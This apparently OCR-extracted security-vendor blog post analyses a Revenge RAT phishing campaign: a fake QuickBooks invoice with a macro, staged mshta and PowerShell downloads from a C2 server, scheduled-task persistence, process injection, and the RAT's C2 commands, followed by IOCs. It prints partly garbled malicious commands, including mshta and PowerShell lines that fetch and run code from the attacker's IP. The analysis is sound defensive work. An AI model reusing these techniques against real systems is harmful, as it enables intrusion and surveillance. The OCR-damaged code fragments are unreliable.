Revenge RAT malware is back
o

April 7, 2022

First observed in 2016, Revenge RAT is a malware that is classified as a Remote Access
Trojan. This means that threat actors usually use it to remotely control infected PCs, surveil
users by capturing keystrokes, watching them via webcam, or even listening to their
microphones.

Through Revenge RAT malware, threat actors can remotely execute malicious tasks on the
user’s computer and steal any sensitive data available to them.

The Revenge RAT Malware Phishing Email

Like almost every other attack these days, Revenge RAT malware is delivered via email, the
number one attack vector for cyberattacks.

The user receives an email that appears to be an urgent invoice request. The email instructs
the user to open up the attached invoice, an Excel file, and enable both editing and content,
in order to “view” the content of the invoice. In reality, enabling editing and content activates
the attack chain flow, which we will explore further later on in this post.

It is important to note that there are some obvious warning signs within the email:
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1. The email subject is the exact name of the attached file, which indicates a low effort
attempt by the threat actor to manipulate the user or convince them that the invoice is

real.

2. The email contains an explanation of how to open the document, which usually
indicates that the threat actor is employing a social engineering technique by trying to

get the user to perform the exact commands required to execute the malware.

QuickBooks Invoice Enclosed 1000114474763 1

angela.faudale@unimi.it on behalf of Intuit QuickBooks Team <quickboo
" .

g)‘]uil;:;Books Invoice Enclosed 10001144747631xIs

@ quickbooks

oF

%

Mon €:14 PM

Invoice Payment

Payment remittance
instructions.

Invoice number: 10001144747631
Invoice date: 03/28/2022
Total: $1085.28

Please find attached your 30 days due invoice. Your prompt attention is greatly appreciated. Click

enable editing and enable content to view content.

Please refer to payment remittance instructions on invoice and reference your invoice number on

all payments.

Figure1: Revenge RAT malware phishing email
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The Revenge RAT Malware Attack Flow

The components of the Revenge RAT malware attack occur throughout multiple stages. The
image below shows the steps involved in the attack:
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Figure 2: Revenge RAT malware attack flow

Step 1: First, the XLS file (“QuickBooks Invoice Enclosed 10001144747631.xIs”) is used in
the attack vector by executing the macros it contains to run mshta.exe on a file located on
the C2 server.

Step 2: Then, “Enc.txt” (the executed file) executes another file on the C2 server using
PowerShell.

Step 3: Next, the executed file (“Server.txt”) creates a folder located on the user’s computer;
inside, 4 files are created as the file starts execution of one of the its new files.

Step 4: The first file executed (“lICOZODNLSRPOHUBAJWZFK.ps1”) creates a task that will
run on the user’s computer every 3 minutes and will execute
“IICOZODNLSRPOHUBAJWZFK.vbs”. This command contains code to execute
“IICOZODNLSRPOHUBAJWZFK.hta” that will then execute
“YHZYJGKGYAFXQEZFSRCPPY.ps1” (containing obfuscated Revenge RAT malware).

Step 5: Upon the execution of “YHZYJGKGYAFXQEZFSRCPPY.ps1”, two files within the file
are used to run the Revenge RAT malware.

Step 6: The Revenge RAT malware communicates with the C2 server and the threat actor
obtains a new C&C computer for his collection.
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Below we provide a detailed analysis of files and commands used during the various stages
of the Revenge RAT malware attack.

Initial Access

The initial document, “QuickBooks Invoice Enclosed 10001144747631.xls”, contains macros.
The creator of the document sets these commands to perform an action or a set of actions
within the Excel document.

In the email, the threat actor explains that in order to view the content of the document the
user must enable editing and enable content. Included in the document are two warning
signs that there may be macros.

Opening up the document, the user sees a clean Excel sheet and must click on “Enable
Editing” and “Enable Content.” Once clicked, the malicious macro code begins to work.

The macro code is obfuscated within other text, making it difficult for most users to
understand:

JUCEROHDFHLFLIWCOLUWOBaxe
ROHDPHLFLJWCOLUMORL 47 TUORROADPATLFLJWCOLUWOR 2 30 UD0BROHDPHLFLIRCOLIWOR

WHBEJDEVRUXXYRDLFLHVGG = Replace (WHBKJDFVRUXXYRDLFLHVGE, "GRXBVENHUAHNXAIUCVHQRB", "h")
WHEKJDEVRUXXYRDLFLHVGS Eeplace (WHBKJDFVRUXXYRDLFLHVGGE, "ACCOVHUYLESKNEZDHZEDBGNW", "t")
WHEKJDEVRUXXYRDLFLHVGG = Replace (WHBEKJDEVRUXXYRDLFLHVGE, "UUOBROHDFHLELJWCOLUWOB®, ".™)
GetObject ("Winmgmts:") .

Get {"Win32 Process").

Create

Figure 3: The obfuscated code

Three replace functions act to replace embedded strings within the
“WHBKJDFVRUXXYRDLFLHVGG” variable. The program then runs the content of the
variable by triggering the “Create” method under the Win32_Process class (WMI class
represents a process on an operating system).

The de-obfuscated string looks like this:

WHBKJDFVRUXXYRDLFLHVGG = "mshta.exe hxxp[://145[.]1147[.1230[.]1231/a/Enc[.]txt"
GetObject ("Winmgmts:") .

Get ("Win32 Process").

Create

WHBKJDFVRUXXYRDLFLHVGG,

Figure 4: The de-obfuscated code

The macros execute “Mshta.exe”, which is a known signed Microsoft program. It can proxy
execution of malware (execute HTML applications files) and establish a connection with the
C2 server in order to download a file named “Enc.txt” (which is an additional payload for the

attack chain).
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Figure 6: Enc txt

Enc.txt is yet another obfuscated file; it contains a script tag which will be executed through
mshta.exe:

ot
~15949,-1959

e HIDDEN WINDOW 0
YCTYAPGRVUTHRETHEVFEHD - "™

WHBEJDFVEUKXYRDLEFLHVGE "n32 Proc
GRYBVENHUAHNXATUCVHORE = "mt:
Set ROCOVHUYLES HZDBGNW = GetObject ("winmgm "{impersonationLevel=impersonate) !\\" & YCIYAPGRVUTHRETHBVFBHU & "“root\cimv2")

Set UUOBROHDPHLELIWCQLUWOB = AOCOVHUYLESKNME
Set UOAJFIRCWHBSEFSNPRSAYR = UUOBROHDPHLFLJIWCD
UOAJFTRCWHE. owWindow = HIDDEN WINDOW
Set QPPRJIVEII ect c"".ll mg" &
arn = QPPR.

GNW. Get ("Wi"t WHBEJDFVRUXXYRDLELHVGG &"tup®)
JB.SpawnInstance

XBVENHURHNXATUCVHORE &"ess")
LL SLVSOXTFTVERCEOHGKW
3+/114 (3113 (] BMREAJER] ' .Replace (' o[w;m»{@u 1HC(0075]"
XTPTVKBCEOHGXWJICKL -Join **)| . {'{1}{0}'-L£"EX", '1") ; SVTHKWE
~9%==4 |T.W&5) ) &7S1[B5[14(2=4_9=]5T]) " .Replace (' $<=T65~%) &) _B1~9*
FEDG = ($VTNEWRIXVHZQTTXFQJIEMHS —Join '')| . {'{1}{0)'-£'E ','1‘];
GT=B*4\9E~546%/]) /a9TE" .Replace ('8 9T=R*4\96*546%/) ) /&9', Fri },sKr.HJKﬂK
111498#) +2< () *= \ (<2onSE'.Replace("=!]1]&98#) +R<{)¥= Y (<2" ( C
@5~])*0\+!1<6 =7~5"]REam’'.Replac et 2EEGA])AONHILCE T G St') ; SEUVEQIPLEEGADWFECARLXA
J+I&FHA0N_) =) [%990] B<nD"® "M r]-"l‘lﬁ\ 1=} ')
L nﬁutfﬁk

Replace ("450&4B%8+/114 (3}13(1@", "O.StREA")
(FQUENHS -
place (*&5) )&751 [85[14#{2=#_%=]"', "EDREquE") ;
WOHEGD =

STESIORILDCDTLCYOW
, null, UOAJFIRCWE

J{'http:/ /45,147
SHEBSAYR, intProce

0.231/a/Server, et '}, SKGHIK
s1D)

<.."I;LLL[JL>

Figure 7: Script tag within Enc.txt

The script is written in Visual Basic, which we know because there is a “language” indicator
in the opening tag. By the end of the script, it executes a PowerShell command, which
downloads another file from the C2 server and executes its content.

Below are the variables (and their values) of the PowerShell command:

« AHJTRRXVBYENECJTZIBQCT: StreamReader Class Object

e ARYSWDUYBLHGDITSWDFEOG: WebRequest Class Object

o TESIORILDCDTLCYOWDHSGO: Create, (invoked from WebRequest) creates web
request to the other file located on the C2 server

o KGHJKOKAPLPTBRQZIRBJZS: GetResponse

o BKCOKSGBGDNXDEAXSBNVJU: GetResponseStream

o« ZUVEOIPLZEGADWFECARLXA: ReadToEnd
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| =5 mswaem
256 13401250
257 11,481252
230 21401251
23 234015
258 33,462465
11 ARG
202 24402484

Figure 8: Varlables:and: their values of.PowerSheII command
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Figure 9: PowerShell command
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https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.2#:~:text=PowerShell%20is%20a%20cross%2Dplatform,Windows%2C%20Linux%2C%20and%20macOS.

Defense Evasion

In order to evade defense measures, the Revenge RAT malware contains “Server.txt”, which
is an obfuscated PowerShell file containing several variables. These variables represent four
malicious files that are created on the user’s computer.

The file starts its execution by checking if the folder it wants to create already exists. If it
doesn't, then it creates the folder.

$0utPath = "C:\ProgramData‘\IICOZODNLSRPOHUBAJWZFE"
function WIDEJDFVRUXXYRDLPLIIVGG { $GREXDVDNIIUAIINXATUCYIIQRD) |
SIICOZODNLSRPOHUBRJWEFER = "™
for (SAOCOVHUYLFSENEZDHZDBGNW = 0; SROCOVHUYLFSENZDHZIDBGNW -1t SGRXBVENHUAHNXAIUCVHORE.Length; SAOCOVHUYLFSENZDHZIDBGNW += 2)
{ SIICOZODNLSRPOHUBAJWZFK += [char] [int] ("0x" + SGREXBVENHUAHNXAIUCVHORE.Substring (SACCOVHUYLFSENZDHZIDBGNW,2)) }
return $IICOZODNLSRECHUBAJWZFR
1

Figure 10: Folder path “C:\ProgramData\[COZODNLSRPOHUBAJWZFK”:

= Local Disk (C}) > ProgramData > ICOZODNLSRPOHUBAJWZFK v C £ Search IICOZODNLSRPOHUBA)
Name ) Date modified Type Size
D IICOZODNLSRPOHUBAJWZFK hta 3/29/2022 854 PM HTML Application 2 KB
4 [ICOZODMNLSRPOHUBAJWZFK.ps1 3/29/2022 8:54 PM Windows PowerShell ... 1KB
@ IICOZODMNLSRPOHUBAJWZFK vbs 3/29/2022 8:54 PM VBScript Script File 1KB
@ YHZYJGKGYAFXQEZFSRCPPY.ps1 3/29/2022 8:54 PM Windows PowerShell ... 141 KB

Figure 11: 4 malicious files in the newly created folder

The Malware Kill Chain Process

Below is explanation of what each file does during the Revenge RAT malware kill chain
process:

C:\ProgrambDatah IICOZODNLERFPOHUBAIWZIFEA I ICOZ0DNLSRPOHUBATWEIFK . vhs

SDSPRTWQOOGSEIPEIUYGYQ = <##> New-SchedaladTaskAction <##> -Emecute <##> 'C;‘ProgramData’\I Z0D
SNAFSZATKYSDRSDAQSCGKNGE ~ New-ScheduledTaskTrigger -Once -At (Gst-Date) —{epe:ltlonlrtﬂL\al (Hew-1T
Register-ScheduledTask Action SDSPHTWQOOGSEIPEKXUYGY(Q Trigger SNAFSEATKYSDRSDAQSGKNGE TaskName "IIC

Figure 12: ICOZODNLSRPOHUBAJWZFK.ps1: Schedules new tasks, WhICh execute
IICOZODNLSRPOHUBAJWZFK vbs every 3 minutes.

RECHUBAJWZEFR.vhs'

-

@® GougleUpda Ready ABAL I avarday—Aflertriggaredrapeataran-haoufora-duratioasitday. 3/29/2022 B194T PM 3/29/2022 §:23:53 PM
& ICOZODNLS.. Ready | At 854 PM on 3/29/2022 - After triggered, repeat every 00:03:00 indefinitely. 3/29/2022 9:00:49 PM 11/30/1999 12:00:00 AN
(5 MicrosoftEd..  Ready 3/30/2022 11:01:16 AM 3/29/2022 11:01:17 AM
(B MirrnenftFd  Readu At 1031 AM aveny dau - Aftar trinaerad reneat evers 1 hatie far a diration of 1 dav /20,2077 G-31-14 DA 2/IOINID RALEN PAA

Figure 13: ICOZODNLSRPOHUBAJWZFK.vbs execution

Const HIDDEN WINDOW = 0

WHEKJDFVRU’X){YRDLFI.HVGG = "mghta.exe C:\ProgramData\IICOZODNLSRPOHUBAJWZFRMN\IICOZODNLSRPOHUBAJWZFK.hta"
Getobject( m "y _

Get (" -

Create _

WHBRJDFVRUXXYRDLFLHVGG,

Figure 14: IICOZODNI:SRPOHUBAJWZFK.vbs: Uses “mshta.exe”, the script executing
[ICOZODNLSRPOHUBAJWZFK.hta
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1" & WIDEJDFVRIMMYACLFLIOVES & " roothoimviE™)

ZFRPOHUDAJWIFE & =
Bhell WeDretils -Fracitionzold ay Bypasa -Cammand O A Programlatat T TOoA0DNLARPOHUIRATREFE L YHAY TEREYAFRGSEFERCPEY . pal”, null,

Flgure 15 IICOZODNLSRPOHUBAJWZFK hta: Similar to enc.txt, the file contains a script
section that executes the PowerShell command that runs
YHZYJGKGYAFXQEZFSRCPPY ps1

18.48 77576 K 88,892 K
963 53.284 K 56,448 K

Command Line:

T
|
LAY

and "& 1
Path

em32\WindowsPower Icl v1.0\powershell

- e -Ex y Bypass -Comm
mData\[ICOZODNLSRPOHUBAJWZFKMIC ;U['H 'OHUB#

Windows\S “"'r"‘1 2\WindowsPowerShell\v 1.0 POW vershell exe

Flgure 16 YHZYJGKGYAFXQEZFSRCPPY ps1: Contains two obfuscated files that are
stored inside 2 variables (H5[Lime.dll], H6[Client.exe]). Once de-obfuscated, the files are run
by a command crafted during the execution process of the file, which combines several
variables in order to execute the next command:
“*Assembly:Load(Lime.dll).GetType(T.K).GetMethod(L).Invoke($null ,[object[]]
(“C:\Windows\Microsoft. NET\Framework\v4.0.30319\jsc.exe”, client.exe))”

PS C:\Users> I

FHBBxXX: : SHBXxXX ($HS5) . SHBxX ($FIX) . $HBX ($FIXX) . SHBxxx ($HBxxxxxX, [object[]] ($HBxxxxxxX,$H6))
PS C:\Users> §

Load

PS C:\Users>

GetType

PS C:\Users>

T.K

PS C:\Users>

:\Users>
:\Windows\Microsoft.NET\Framework\v4.@.30319\]jsc.exe

Figure 17: The command being executed above injects the malware into a program and runs
the malware, impersonating a legitimate process (also known as “Process Injection”)

gy v e gy e T v e
«" lcpview .exe <0.0 4004 K 19844 K 6052 Sysintemals TcpView Sysintemals - www sysinter...
[uZ]jsc.exe <0 19468 K 28320K 6080 jsc.exe Microsoft Corporation

Figure 18:The legitimate process is jsc.exe, a JavaScript compiler program signed by
Microsoft

C&C Server Connection

As previously mentioned, the command executes the Revenge RAT malware. We managed
to extract the executable file from the obfuscated PowerShell file to provide a better overview
of the payload.

The screenshot below shows basic information of the payload executable:
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Property Value

File Name Ch\Client.exe

File Type [ Portable Executable 32 .NET Assembly

File Info I.r".-"lit:rt:nnsn::rﬁ: Visual Studio NET

File Size 24,00 KB (24576 bytes)

PE Size 24,00 KB (24576 bytes)

Created Tuesday 053 Apnl 2022, 12.59.50

Maodified Monday 28 March 2022, 21.57.47

Accessed Tuesday 05 Apnil 2022, 12.59.33

MD5 C25B797D6737751936766CDS0E26D725

SHA-1 DFB3BFB53CEQ430CBAFT1EETB145408D63B1BECET
. - ]
Property Value

FileDescription |
FileVersion 0.0.0.0
InternalName ”CIient.exe
LegalCopyright |
OriginalFilename Client.exe

ProductVersion 0.0.0.0

Figure 19: Payload executable information

We can see that the code is actually compiled with .NET, meaning we can open the
executable in DnSpy and view the code. Surprisingly, this malware’s code is readable and
not obfuscated.

One of the functions present in the code is “Config”, which contains the configuration of the
RAT:
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new ComputerInfo().
ey,
.GetCp :()),
.key,

uterInfo(). 5

GetAV("Select * from AntiVirusProduct"),

.GetAV("SELECT * FROM FirewallProduct"),

tActiveWindov (),

.Encode(CulturelInfo.

Figure 20: Configuration of the RAT

Revenge RAT malware Config Class

Below are the members of the config class and their functionality:

e Host: C&C Server

e Port: C&C Port

e ID: Unique ID of the installed RAT

o Key: Magic string used as a separator to split data on the packets
e CurrentMutex: Mutex placed by the RAT on the system

o Splitter: Magic string used as packet end string

o Stopwatch(): Member function used to reset stopwatch

From computer to C2 server

The first packet sent from the user’s computer to the C2 server contains lots of sensitive data
related to the user’s computer. The data collected using a custom class presents the code
named “IdGenerator”. Below are some of the methods the class uses to retrieve sensitive
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data:

o GetHardDiskSerialNumber: Get hard disk serial number

o Getlp: Get IP address

o GetCamera: Get information about the camera

o GetSystem: Get processor information

e GetCpu: Get CPU information

o GetAV: Get the antiviruses installed on the system

o GetActiveWindow: Get active window or window of the application used by the user

"45.147.230.231";

"2222%;

"TVITYWhtZWQ=";

"c416f58db1l3c4";

"Revenge-RAT";

er = "|@H#%" NYAN#!@$";

new Stopwatch();

Figure 21: The first packet sent: InformationRevenge-RATTVJfYWhtZWQ=Revenge-
RATX0lwQTAzOUM1Revenge-RAT169.254.102.77Revenge-
RATREVTS1RPUC0zQUs1RTBVIC8gRmxhcmUtVkO=Revenge-RATNoRevenge-
RATTWIjcm9zb2Z0IFdpbmRvd3MgMTAgUHJvIDYORevenge-
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RATSW50ZWwoUikgQ29yZShUTSkgaTUtOTQWMEYgQ1BVIEAgMi45MEdleg==Revenge-
RAT4294496256Revenge-RATV2IuZG93cyBEZWZIbmRIcg==Revenge-RATTi9BRevenge-
RAT2222Revenge-RATUHJvZ3JhbSBNYW5hZ2VyRevenge-RATZW4tVVM=Revenge-
RATFalse! @#%"NYAN#'@$

This packet contains everything the RAT malware collected using the function we explained
above. Now, when the malware establishes its connection, it can send commands that the
user’s malware agent will handle.

C&C Commands Execution

One of the classes within the code is called “PacketHandler”; it contains a function called
“‘Handler”. “Handler” is in charge of handling all received C&C commands. The C2 server can
send 5 commands to the user’s computer:

e PNC: Ping/Heartbeat command, which makes sure the connection is still alive.

e P: Sends the name of the current working window on the user’s computer.

o |E: Checks for installed plugin in the registry of the user’s computer under
“‘HKCU\Software\”

e LP: If the plugin in IE command isn’t found, the malware creates a new registry key
under “HKCU\Software\” named after the RAT mutex (base64 encoded) with a subkey,
named after the value inside of it (MD5 hashed) and the value of the subkey. This
becomes a dll file sent on this command in order to maintain persistence and for further
execution.

Computen HIKEY_CURRENT USER\SOF TWARE\Yz0xNmY1OGRIMTN)NA= = \321f< 147689e352 d05ced 5eb783f ]
| v | SOFTWARE ~ 11 Name Type Data
Y R, a8 (Defautt) REG_SZ (value nct set)

’:FPD““LW 1331 147680¢350...} REG_SZ HasIAAAAAAAEACY9eXybxdEdvp) TWBZIyTIIO3VS..

Google
JetBrains
Mchfee
Microsoft
nasm

Nmap

Modejs

Policies

CtProject

RegisteredApplications

Sysinternals

WinRAR

WinRAR 5FX

Wireshark

WIR

Cy v | YZOxNmY10GRIMTNjNA==
32ffc147689e352fd05ced3f5eb7a3ff

Fig:ure 22: “Handler” function

Object™) .DeleceFile ("C:\Findows\Miczosoft . NET \Frameworkhwd, 0.30319% :.‘.—..1:")|
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Figure 23: UNV: Uninstalls and restarts the RAT; it also creates a script saved in the
temporary folder on the user’s computer that, once it's run by the malware, deletes the
original “jsc.exe” file.

Recommendations

Revenge RAT malware causes a massive problems when deployed on a highly valued
employee’s computer. Most likely delivered via a phishing_email, it targets the individual
person. It also requires the user’s attention to run the macros in order to initiate the attack.

To avoid falling victim to this type of attack, we recommend the following steps to mitigate
your organization’s risk:

1. Educate your employees on the need for email security and the risk of opening suspicious
emails and attachments.

2. Run email security drills every few months, to ensure that employees know what to look
for in a suspicious email.

3. Create a process for employees to follow when they receive a suspicious email or link.
4. Disable macros in Microsoft Office applications.

For more information about how to protect your organization against malware attacks
delivered via phishing emails, read our Advanced Email Security guide today.

Here’s some related content you may enjoy: How to Prevent Malware Attacks

I0Cs

IP Address:

45.147.230.231:2222

URLSs:

hxxp[://]45[.]147[.]230[.]231/a/Enc].]txt

hxxp[://]45[.]147[.]230[.]231/a/Server[.]txt

Samples SHA-256:

Client.exe — f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8

Lime.dll — 9fca9b70d87¢c1b81bbb48209986e59d9cf92ab3f5bfd5fecf432caf0c3fed444
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https://perception-point.io/how-to-prevent-phishing-attacks/
https://perception-point.io/wp-content/uploads/Advanced-Email-Security.pdf
https://perception-point.io/how-to-prevent-malware-attacks/

YHZYJGKGYAFXQEZFSRCPPY.ps1 -
37a94b72cec528ffaab6fb82559ba2dcOb82bc1270edc85e7cee98d16f6b9c242
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